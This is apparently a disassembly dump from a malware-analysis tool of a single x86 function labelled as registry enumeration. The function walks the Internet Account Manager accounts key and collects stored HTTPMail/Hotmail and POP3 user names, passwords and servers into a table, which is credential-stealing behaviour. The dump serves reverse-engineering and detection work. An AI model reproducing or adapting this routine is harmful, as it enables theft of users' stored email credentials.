Function at 0x401000
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x2e8
mov eax, dword [0x410020]
xor eax, esp
mov dword [esp + 0x2e4], eax
push ebp
push 0x3a98
push 0
push 0x411068
call fcn.00402630
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
lea eax, [esp + 0x15c]
push eax
call ebp
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push 0
lea edx, [esp + 0x164]
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401395
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 3
lea ebx, [ebx]
lea eax, [esp + 0x2c]
push eax
mov eax, dword [esp + 0x20]
push 0
push 0
push 0
lea ecx, [esp + 0x38]
push ecx
mov ecx, dword [esp + 0x34]
lea edx, [esp + 0x240]
push edx
push eax
push ecx
mov dword [esp + 0x48], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
lea edx, [esp + 0x168]
push edx
mov dword [esp + 0x2c], eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40d21c
lea eax, [esp + 0x168]
push eax
call esi
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x168]
push edx
call esi
lea eax, [esp + 0x18]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x170]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0xd0]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push str.HTTPMail_User_Name
mov esi, 0x96
push edx
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x401224
mov ecx, dword [0x414c08]
imul ecx, ecx, 0x12c
lea eax, [esp + 0xcc]
push eax
add ecx, 0x411068
push ecx
call ebp
push esi
lea edx, [esp + 0xd0]
push 0
push edx
call fcn.00402630
mov eax, dword [0x414c08]
imul eax, eax, 0x12c
add esp, 0xc
push str.Hotmail
add eax, 0x411130
push eax
call ebp
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push str.HTTPMail_Password2
push ecx
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x401217
mov edi, 2
xor esi, esi
cmp dword [esp + 0x10], edi
jbe 0x4011fe
movzx edx, byte [esp + edi + 0x34]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x4011dc
mov al, byte [esp + edi + 0x34]
cmp al, 0x28
je 0x4011dc
cmp al, 0x29
je 0x4011dc
cmp al, 0x2e
je 0x4011dc
cmp al, 0x20
je 0x4011dc
cmp al, 0x2d
jne 0x4011f5
mov eax, dword [0x414c08]
mov cl, byte [esp + edi + 0x34]
imul eax, eax, 0x12c
mov byte [eax + esi + 0x4110cc], cl
add esi, 1
add edi, 1
cmp edi, dword [esp + 0x10]
jb 0x4011b4
mov edx, dword [0x414c08]
imul edx, edx, 0x12c
mov byte [edx + esi + 0x4110cc], 0
mov esi, 0x96
push esi
push 0
lea eax, [esp + 0x3c]
push eax
jmp 0x401370
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0xd0]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push str.POP3_User_Name
push ecx
call ebx
test eax, eax
jne 0x40137f
mov eax, dword [0x414c08]
imul eax, eax, 0x12c
lea edx, [esp + 0xcc]
push edx
add eax, 0x411068
push eax
call ebp
push esi
lea ecx, [esp + 0xd0]
push 0
push ecx
call fcn.00402630
add esp, 0xc
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0xd0]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push str.POP3_Server
push edx
mov dword [esp + 0x28], esi
call ebx
mov ecx, dword [0x414c08]
imul ecx, ecx, 0x12c
lea eax, [esp + 0xcc]
push eax
add ecx, 0x411130
push ecx
call ebp
push esi
lea edx, [esp + 0xd0]
push 0
push edx
call fcn.00402630
add esp, 0xc
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0
push 0x40d1c0
push eax
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x401368
mov edi, 2
xor esi, esi
cmp dword [esp + 0x10], edi
jbe 0x40134f
movzx ecx, byte [esp + edi + 0x34]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x40132c
mov al, byte [esp + edi + 0x34]
cmp al, 0x28
je 0x40132c
cmp al, 0x29
je 0x40132c
cmp al, 0x2e
je 0x40132c
cmp al, 0x20
je 0x40132c
cmp al, 0x2d
jne 0x401346
mov edx, dword [0x414c08]
mov al, byte [esp + edi + 0x34]
imul edx, edx, 0x12c
mov byte [edx + esi + 0x4110cc], al
add esi, 1
add edi, 1
cmp edi, dword [esp + 0x10]
jb 0x401304
mov ecx, dword [0x414c08]
imul ecx, ecx, 0x12c
mov byte [ecx + esi + 0x4110cc], 0
mov esi, 0x96
push esi
push 0
lea edx, [esp + 0x3c]
push edx
call fcn.00402630
add esp, 0xc
add dword [0x414c08], 1
add dword [esp + 0x1c], 1
cmp dword [esp + 0x24], 0x103
jne 0x401080
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2e8]
pop ebp
xor ecx, esp
call fcn.00402616
add esp, 0x2e8
ret